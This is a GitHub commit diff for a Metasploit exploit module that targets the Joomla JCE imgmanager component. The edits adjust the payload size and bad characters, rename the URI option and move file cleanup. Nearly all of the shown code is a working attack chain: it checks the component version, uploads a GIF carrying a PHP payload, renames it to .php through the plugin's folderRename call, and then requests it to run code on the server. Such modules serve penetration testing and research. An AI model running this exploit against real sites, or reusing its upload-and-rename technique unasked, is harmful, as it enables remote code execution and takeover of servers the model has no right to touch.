Skip to content

Commit 50ac5cf

Browse files
committed
Adjust payload size and others code adjustments
1 parent 5bee147 commit 50ac5cf

File tree

1 file changed

+14
-15
lines changed

1 file changed

+14
-15
lines changed

modules/exploits/multi/http/joomla_comjce_imgmanager.rb

Lines changed: 14 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -31,33 +31,35 @@ def initialize(info = {})
3131
['BID', '49338'],
3232
['EDB', '17734'],
3333
],
34-
'Privileged' => false,
3534
'Payload' =>
3635
{
37-
'Keys' => ['php'],
38-
'DisableNops' => true,
36+
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
37+
'DisableNops' => true,
38+
'BadChars' => "#",
39+
'Keys' => ['php'],
3940
'Compat' =>
4041
{
4142
'ConnectionType' => 'find',
4243
},
43-
'Space' => 1024, # default upload max_size
4444
},
4545
'Platform' => 'php',
4646
'Arch' => ARCH_PHP,
4747
'Targets' => [[ 'Automatic', { }]],
48+
'Privileged' => false,
4849
'DisclosureDate' => 'Aug 2 2012',
4950
'DefaultTarget' => 0))
5051

5152
register_options(
5253
[
53-
OptString.new('URI', [true, "Joomla directory path", "/"])
54+
OptString.new('TARGETURI', [true, "Joomla directory path", "/"])
5455
], self.class)
5556
end
5657

5758

5859
def get_version
5960
# check imgmanager version
60-
@uri_base = normalize_uri(datastore['URI']) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
61+
#uri = normalize_uri(target_uri.path.to_s, "images", "stories", "#{@script_name}.php")
62+
@uri_base = normalize_uri(target_uri.path.to_s) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
6163
uri = @uri_base
6264
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
6365
res = send_request_cgi(
@@ -94,9 +96,7 @@ def upload_gif
9496
# Generate some random strings
9597
@script_name = rand_text_alpha_lower(6)
9698
boundary = '-' * 27 + rand_text_numeric(11)
97-
98-
uri = @uri_base
99-
uri << '&method=form'
99+
uri = normalize_uri(@uri_base) + '&method=form'
100100

101101
# POST data
102102
post_data = Rex::MIME::Message.new
@@ -132,9 +132,7 @@ def upload_gif
132132

133133
def renamed?
134134
# Rename the file from .gif to .php
135-
# uri = ''
136-
uri = @uri_base
137-
uri << '&version=1576&cid=20'
135+
uri = normalize_uri(@uri_base) #, '&version=1576&cid=20')
138136

139137
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@script_name}.gif\",\"#{@script_name}.php\"]}"
140138

@@ -164,8 +162,10 @@ def renamed?
164162
def call_payload
165163
directory = 'images/stories/'
166164
print_status("Calling payload: #{@script_name}.php")
167-
uri = normalize_uri(datastore['URI'])
168-
uri << directory + @script_name + ".php"
165+
uri = normalize_uri(target_uri.path.to_s)
166+
uri << directory + @script_name + ".php"
167+
register_files_for_cleanup(uri)
168+
169169
res = send_request_cgi({
170170
'uri' => uri,
171171
'method' => 'GET',
@@ -183,7 +183,6 @@ def exploit
183183
if upload_gif == :success
184184
if renamed?
185185
call_payload
186-
register_files_for_cleanup(@script_name)
187186
end
188187
end
189188

0 commit comments

Comments
 (0)